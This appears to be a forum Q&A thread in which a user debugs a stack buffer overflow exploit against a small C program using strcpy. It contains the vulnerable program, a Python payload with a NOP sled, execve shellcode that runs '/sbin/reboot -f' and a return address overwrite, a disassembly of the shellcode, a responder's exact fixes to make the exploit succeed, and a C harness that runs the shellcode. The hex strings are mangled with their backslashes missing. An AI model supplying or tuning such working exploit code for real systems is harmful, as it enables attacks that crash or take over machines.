Nrthugu

I've read many articles and examples but I have no idea what I can do now. So, I want to test a shellcode for this vulnerable program:

#include <string.h>

#include <stdio.h>

void main(int argc, char *argv) {

    copier(argv[1]);

    printf("Done!n");

}

int copier(char *str) {

    char buffer[100];

    strcpy(buffer, str);

}

Script to run my shellcode (force restart):

#!/usr/bin/python



nopsled = 'x90' * 64

shellcode = (

'x31xc0x50x68x62x6fx6fx74x68x6e' +

'x2fx72x65x68x2fx73x62x69x89xe3' +

'x50x66x68x2dx66x89xe6x50x56x53' +

'x89xe1xb0x0bxcdx80'

)

padding = 'A' * (112 - 64 - 36)

eip = 'x70xf1xffxbf'

print nopsled + shellcode + padding + eip 

Here you can see that my shellcode is loaded properly:

The registers from esp

And that my return address is: 0xbffff170. So why is my program not working? Please, help me

So by my calculations this is what your shellcode is doing (here in Intel Assembly syntax):

0xbffff19c:  31 c0                  xor    eax,eax

0xbffff19e:  50                     push   eax

0xbffff19f:  68 62 6f 6f 74         push   0x746f6f62

0xbffff1a3:  68 6e 2f 72 65         push   0x65722f6e

0xbffff1a9:  68 2f 73 62 69         push   0x6962732f

0xbffff1ae:  89 e3                  mov    ebx,esp

0xbffff1b0:  50                     push   eax

0xbffff1b1:  66 68 2d 66            pushw  0x662d

0xbffff1b5:  89 e6                  mov    esi,esp

0xbffff1b7:  50                     push   eax

0xbffff1b8:  56                     push   esi

0xbffff1b9:  53                     push   ebx

0xbffff1ba:  89 e1                  mov    ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}

0xbffff1bc:  b0 0b                  mov    al,0xb

0xbffff1be:  cd 80                  int    0x80    ; syscall sys_execve()

The segmentation fault is happening at 0xbffff1b8, even though as you can see the opcode there is perfectly valid. So what could have happened? Lets see...

You might notice that there is quite a bit of pushing going on. All those pushes overwrite data in the call stack. 34 bytes of it in total, to be precise.

Yes, the same call stack where the shellcode itself is stored... are you connecting the dots? The shellcode is overwriting itself and destroying it's own code. It started fine but by the time it reached 0xbffff1b8, the valid code was no longer there as it got overwritten by something else entirely.

You need to make sure the length of padding and eip combined is 34 or more, so that the shellcode has enough stack space to work before it starts overwriting it's own code.

That said, padding has to be at least 18 bytes longer.

Cut nopsled length by 32 bytes, just to make it roomy, and transfer those bytes to padding. This should reserve enough stack space for the shellcode to do it's thing without breaking itself.

And since the eip address is currently 44 bytes before the shellcode starts, there is no need to adjust it.

There are other things that need to be observed as well, first, once the shellcode is done running, it no longer cares what happens next. That means even while working as intended, this program will crash, just after it's done calling the reboot.

Also, /sbin/reboot may require root access to work. If this process is not running as root, it won't reboot (it will just crash).

@Havenard I don't know what am I doing wrong. I've modified my code so now there are 24bytes of nopsled, 36 bytes of shellcode, 44 bytes of padding and then return address. As you can see below:

I am on the root account so it should work. When I use the code from shell-strom it restarts my computer normally. I mean when I compile and run the code below as normal program:

#include <stdio.h>

#include <string.h>



char *shellcode = "x31xc0x50x68x62x6fx6fx74x68x6e"

                  "x2fx72x65x68x2fx73x62x69x89xe3"

                  "x50x66x68x2dx66x89xe6x50x56x53"

                  "x89xe1xb0x0bxcdx80";



int main(void)

{

fprintf(stdout,"Length: %dn",strlen(shellcode));

(*(void(*)()) shellcode)();

return 0;

}